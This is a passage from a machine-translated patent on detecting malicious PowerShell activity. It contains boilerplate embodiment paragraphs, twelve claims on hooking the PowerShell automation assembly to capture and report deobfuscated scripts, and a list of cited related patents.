[0130] In the description of this specification, the description with reference to the terms "one embodiment", "a specific embodiment", "some embodiments", "for example", "example", "specific example", or "some examples" means that the specific features, structures, materials or characteristics described in conjunction with the embodiment or example are included in at least one embodiment or example of the present invention. In this specification, the schematic representation of the above terms does not necessarily refer to the same embodiment or example. Moreover, the specific features, structures, materials or characteristics described may be combined in any one or more embodiments or examples in a suitable manner.
[0131] The specific embodiments described above further illustrate the objectives, technical solutions and beneficial effects of the present invention in detail. It should be understood that the above description is only a specific embodiment of the present invention and is not intended to limit the scope of protection of the present invention. Any modifications, equivalent substitutions, improvements, etc. made within the spirit and principles of the present invention should be included in the scope of protection of the present invention.
Claims
1. A detection method based on Powershell, characterized in that: include: If the Powershell process is started, a hook module is loaded to monitor the target assembly; wherein the hook module is pre-set; If the target assembly is loaded, then determining the target function corresponding to the current system based on the Windows version of the current system; wherein the target function corresponding to each Windows version is preset and used to obtain the deobfuscated script or instruction; the Windows version is Windows 7 or above; Based on the hook module, obtaining the address of the target function corresponding to the current system; Based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system, obtaining the reporting information of the target function corresponding to the current system; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to obtain the original information of the execution script and the deobfuscated data; Reporting information of the objective function corresponding to the current system.
2. The method according to claim 1, characterized in that The acquiring the reporting information of the objective function corresponding to the current system based on the address of the objective function corresponding to the current system and the analytical function of the objective function corresponding to the current system includes: Redirecting the address of the target function corresponding to the current system according to the parsing function; During the execution of the objective function corresponding to the current system, the parameters of the objective function corresponding to the current system are transferred to the corresponding analytical function.
3. The method according to claim 1, characterized in that The objective function and the corresponding analytical function have matching parameter structures.
4. The method according to claim 1, characterized in that: The target assembly is System.ManageMent.Automation.dll.
5. The method according to any one of claims 1 to 4, characterized in that: Also includes: The reporting information of the objective function corresponding to the current system is filtered through a preset rule engine.
6. A detection device based on Powershell, characterized in that: include: A startup unit, used for loading a hook module to monitor a target assembly after the Powershell process is started; wherein the hook module is pre-set; a determination unit, configured to determine, after the target assembly is loaded, a target function corresponding to the current system based on the Windows version of the current system; wherein the target function corresponding to each Windows version is preset and used to obtain a deobfuscated script or instruction; and the Windows version is Windows 7 or above; A first acquisition unit, configured to acquire an address of a target function corresponding to the current system based on the hook module; A second acquisition unit is used to acquire the reporting information of the target function corresponding to the current system based on the address of the target function corresponding to the current system and the parsing function of the target function corresponding to the current system; wherein the parsing function corresponding to the target function is pre-set in the hook module based on the Windows version; the parsing function is used to acquire the original information of the execution script and the deobfuscated data; A reporting unit is used to report the reporting information of the objective function corresponding to the current system.
7. The device according to claim 6, characterized in that The second acquiring unit includes: A redirection subunit, used for redirecting the address of the target function corresponding to the current system according to the parsing function; The transfer subunit is used to transfer the parameters of the objective function corresponding to the current system to the corresponding analytical function during the execution of the objective function corresponding to the current system.
8. The device according to claim 6, characterized in that The objective function and the corresponding analytical function have matching parameter structures.
9. The device according to claim 6, characterized in that The target assembly is System.ManageMent.Automation.dll.
10. The device according to any one of claims 6 to 9, characterized in that Also includes: The filtering unit is used to filter the reported information of the objective function corresponding to the current system through a preset rule engine.
11. An electronic device comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, characterized in that: When the processor executes the computer program, the steps of the method according to any one of claims 1 to 5 are implemented.
12. A computer-readable storage medium having a computer program stored thereon, characterized in that: When the computer program is executed by a processor, the steps of the method according to any one of claims 1 to 5 are implemented.
Citation Information
Patent Citations
Method and apparatus for de-obfuscating PowerShell code
CN108804921A
Malicious code auxiliary analysis method and device
CN111881449A
Detection method and device
CN114329461A
Powershell script monitoring method and device, electronic equipment, medium and product
CN114444071A
Malicious code detection method and device, electronic equipment and storage medium
CN114707150A
